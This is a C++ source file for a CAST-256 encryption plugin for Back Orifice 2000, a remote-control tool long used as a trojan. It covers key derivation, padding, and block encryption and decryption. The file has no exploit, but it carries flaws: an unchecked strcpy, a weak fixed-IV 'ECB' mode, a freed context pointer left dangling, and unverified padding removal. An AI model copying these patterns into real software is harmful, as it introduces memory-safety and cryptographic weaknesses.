www.pudn.com > cast_src.rar > mycast.cpp


/*	CAST-256 Strong Encryption Plugin for Back Orifice 2000 
	Copyright (C) 1999, Daniel Roethlisberger 
 
	This program is free software; you can redistribute it and/or modify 
	it under the terms of the GNU General Public License as published by 
	the Free Software Foundation; either version 2 of the License, or 
	(at your option) any later version. 
 
	This program is distributed in the hope that it will be useful, 
	but WITHOUT ANY WARRANTY; without even the implied warranty of 
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
	GNU General Public License for more details. 
 
	You should have received a copy of the GNU General Public License 
	along with this program; if not, write to the Free Software 
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA 
 
	The author of this program may be contacted at admin@roe.ch. 
*/ 
 
#include  
#include  
#include  
#include "bo_cast.h" 
#include "md5.h" 
#include "cast256.h" 
#include "mycast.h" 
 
ENCRYPTION_ENGINE g_CASTengine = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; 
 
// called when engine is inserted into handler 
int __cdecl CAST_Insert(void) 
{ 
	if(GetCfgStr(g_szCASTEncryptOptions, CAST_CONFIG_KEY_STRING) == NULL) 
		return -1; 
	return 0; 
} 
 
// called when engine is removed from handler 
int __cdecl CAST_Remove(void) 
{ 
	return 0; 
} 
 
// returns the ID string of the engine 
char * __cdecl CAST_Query(void) 
{ 
	return CAST_QUERY_STRING; 
} 
 
// called before any key or encryption takes place to initialise 
void * __cdecl CAST_Startup(void) 
{ 
	// read the configuration 
	char *svKey = GetCfgStr(g_szCASTEncryptOptions, CAST_CONFIG_KEY_STRING); 
	if(svKey == NULL) 
		return NULL; 
	if(svKey[0] == '\0') 
		return NULL; 
	BOOL bCBC = GetCfgBool(g_szCASTEncryptOptions, CAST_CONFIG_CBC_MODE); 
 
	// allocate a context structure 
	CAST_CTX *data; 
	data = (CAST_CTX*)malloc(sizeof(CAST_CTX)); 
	if(data == NULL) 
		return NULL; 
 
	// let the CAST256 engine fill in internal tables 
	CAST256TableInit(); 
 
	// set the configuration 
	data->bCASTCBC = bCBC; 
	CAST_SetKey((void*)data, svKey); 
 
	return data; 
} 
 
// called after encryption has been finished to clean up 
int __cdecl CAST_Shutdown(void *pInternal) 
{ 
	CAST_CTX *data = (CAST_CTX*)pInternal; 
	free(data); 
	return 0; 
} 
 
// called to set key string 
int __cdecl CAST_SetKey(void *pInternal, char *svKey) 
{ 
	CAST_CTX *data = (CAST_CTX*)pInternal; 
 
	MD5_CTX ctx; 
	char buf1[] = CAST_MDSTRING1; 
	char buf2[] = CAST_MDSTRING2; 
	char buf3[] = CAST_MDSTRING3; 
	char buf4[] = CAST_MDSTRING4; 
 
	// generate user key from key string and magic strings 
	MD5Init(&ctx); 
	MD5Update(&ctx, (BYTE*)buf1, strlen(buf1)); 
	MD5Update(&ctx, (BYTE*)svKey, strlen(svKey)); 
	MD5Final((BYTE*)&data->CASTUserKey, &ctx); 
 
	MD5Init(&ctx); 
	MD5Update(&ctx, (BYTE*)svKey, strlen(svKey)); 
	MD5Update(&ctx, (BYTE*)buf2, strlen(buf2)); 
	MD5Final((((BYTE*)&data->CASTUserKey) + 16), &ctx); 
 
	// generate initialisation vector from key string 
	MD5Init(&ctx); 
	MD5Update(&ctx, (BYTE*)buf3, strlen(buf3)); 
	MD5Update(&ctx, (BYTE*)svKey, strlen(svKey)); 
	MD5Update(&ctx, (BYTE*)buf4, strlen(buf4)); 
	MD5Final((BYTE*)&data->CASTInitVect, &ctx); 
 
	strcpy(data->svCASTKey, svKey); 
 
	// let the CAST256 engine initialise the key context 
	CAST256KeyInit(data->CASTKr, data->CASTKm, data->CASTUserKey); 
 
	return 0; 
} 
 
// returns key string 
char * __cdecl CAST_GetKey(void *pInternal) 
{ 
	CAST_CTX *data = (CAST_CTX*)pInternal; 
	return data->svCASTKey; 
} 
 
// returns encrypted buffer that must be freed 
BYTE * __cdecl CAST_Encrypt(void *pInternal, BYTE *pBuffer, int nBufLen, int *pnOutBufLen) 
{ 
	CAST_CTX *data = (CAST_CTX*)pInternal; 
 
	BYTE *buf; 
	int blocks, baselen, leftover; 
 
	// check on length (must be a multiple of 128) 
	leftover = nBufLen & 15; 
	baselen = nBufLen + (leftover ? 16-leftover : 0); 
 
	// add padding 
	if(leftover) 
	{ 
		buf = (BYTE*)malloc(baselen); 
		memset(buf, 0, baselen); 
		buf[baselen-1] = 16 - leftover; 
	} 
	else 
	{ 
		baselen = nBufLen + 16; 
		buf = (BYTE*)malloc(baselen); 
		memset(buf, 0, baselen); 
		buf[baselen-1] = 16; 
	} 
 
	memcpy(buf, pBuffer, nBufLen); 
 
	// number of blocks to encode 
	blocks = baselen >> 4; 
 
	if(data->bCASTCBC) 
	{ 
		// CBC Mode: cypherblock = enc(plainblock XOR lastcypherblock) 
		for(int i = 0; i < blocks; i++) 
		{ 
			for(int j = 0; j < CAST_BLOCK_SIZE; j++) 
			{ 
				buf[i*CAST_BLOCK_SIZE+j] = buf[i*CAST_BLOCK_SIZE+j] ^ data->CASTInitVect[j]; 
			} 
			CAST256Encrypt(data->CASTKr, data->CASTKm, (BETA*)&buf[i*CAST_BLOCK_SIZE]); 
			memcpy(&data->CASTInitVect, &buf[i*CAST_BLOCK_SIZE], CAST_BLOCK_SIZE); 
		} 
	} 
	else 
	{ 
		// ECB Mode: cypherblock = enc(plainblock XOR initvect) 
		for(int i = 0; i < blocks; i++) 
		{ 
			for(int j = 0; j < CAST_BLOCK_SIZE; j++) 
			{ 
				buf[i*CAST_BLOCK_SIZE+j] = buf[i*CAST_BLOCK_SIZE+j] ^ data->CASTInitVect[j]; 
			} 
			CAST256Encrypt(data->CASTKr, data->CASTKm, (BETA*)&buf[i*CAST_BLOCK_SIZE]); 
		} 
	} 
	*pnOutBufLen = baselen; 
	 
	return buf; 
} 
 
// returns decrypted buffer that must be freed 
BYTE * __cdecl CAST_Decrypt(void *pInternal, BYTE *pBuffer, int nBufLen, int *pnOutBufLen) 
{ 
	CAST_CTX *data = (CAST_CTX*)pInternal; 
 
	BYTE *buf; 
	int blocks = 0; 
	BYTE NewInitVect[CAST_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 
 
	// check on length (must be a multiple of 128) 
	if (nBufLen & 15) 
		return NULL; 
 
	buf = (BYTE*)malloc(nBufLen); 
	 
	memcpy(buf, pBuffer, nBufLen); 
 
	// number of blocks to encode 
	blocks = nBufLen >> 4; 
 
	if(data->bCASTCBC) 
	{ 
		// CBC Mode: plainblock = dec(cypherblock) XOR lastcypherblock 
		for(int i = 0; i < blocks; i++) 
		{ 
			memcpy(NewInitVect, &buf[i*CAST_BLOCK_SIZE], CAST_BLOCK_SIZE); 
			CAST256Decrypt(data->CASTKr, data->CASTKm, (BETA*)&buf[i*CAST_BLOCK_SIZE]); 
			for(int j = 0; j < CAST_BLOCK_SIZE; j++) 
			{ 
				buf[i*CAST_BLOCK_SIZE+j] = buf[i*CAST_BLOCK_SIZE+j] ^ data->CASTInitVect[j]; 
			} 
			memcpy(data->CASTInitVect, NewInitVect, CAST_BLOCK_SIZE); 
		} 
	} 
	else 
	{ 
		// ECB Mode: plainblock = dec(cypherblock) XOR initvect 
		for(int i = 0; i < blocks; i++) 
		{ 
			CAST256Decrypt(data->CASTKr, data->CASTKm, (BETA*)&buf[i*CAST_BLOCK_SIZE]); 
			for(int j = 0; j < CAST_BLOCK_SIZE; j++) 
			{ 
				buf[i*CAST_BLOCK_SIZE+j] = buf[i*CAST_BLOCK_SIZE+j] ^ data->CASTInitVect[j]; 
			} 
		} 
	} 
	 
	// remove padding 
	nBufLen -= buf[nBufLen-1]; 
 
	// crop buf here if the extra trailing zero bytes turn out to be fatal 
	// cannot imagine how they could though 
 
	*pnOutBufLen = nBufLen; 
 
	return buf; 
} 
 
// generate new keys, we just get them from the config string 
int __cdecl CAST_CreateNewKeys(void *pInternal) 
{ 
	char *svKey = GetCfgStr(g_szCASTEncryptOptions, CAST_CONFIG_KEY_STRING); 
	if(svKey == NULL) 
		return -1; 
	if(svKey[0] == '\0') 
		return -1; 
 
	CAST_CTX *data = (CAST_CTX*)pInternal; 
	free(data); 
	data = (CAST_CTX*)malloc(sizeof(CAST_CTX)); 
	if(data == NULL) 
		return -1; 
	 
	CAST_SetKey((void*)data, svKey); 
 
	return 0; 
} 
 
// free buffers returned by CAST_Encrypt or CAST_Decrypt 
void __cdecl CAST_Free(void *pInternal, BYTE *pBuffer) 
{ 
	free(pBuffer); 
} 
 
// returns a struct containing the function addresses 
ENCRYPTION_ENGINE *GetCASTEncryptionEngine(void) 
{ 
	g_CASTengine.pInsert = CAST_Insert; 
	g_CASTengine.pRemove = CAST_Remove; 
	g_CASTengine.pQuery = CAST_Query; 
	g_CASTengine.pStartup = CAST_Startup; 
	g_CASTengine.pShutdown = CAST_Shutdown; 
	g_CASTengine.pSetEncryptKey = CAST_SetKey; 
	g_CASTengine.pSetDecryptKey = CAST_SetKey; 
	g_CASTengine.pGetEncryptKey = CAST_GetKey; 
	g_CASTengine.pGetDecryptKey = CAST_GetKey; 
	g_CASTengine.pEncrypt = CAST_Encrypt; 
	g_CASTengine.pDecrypt = CAST_Decrypt; 
	g_CASTengine.pCreateNewKeys = CAST_CreateNewKeys; 
	g_CASTengine.pFree = CAST_Free; 
	 
	return &g_CASTengine; 
}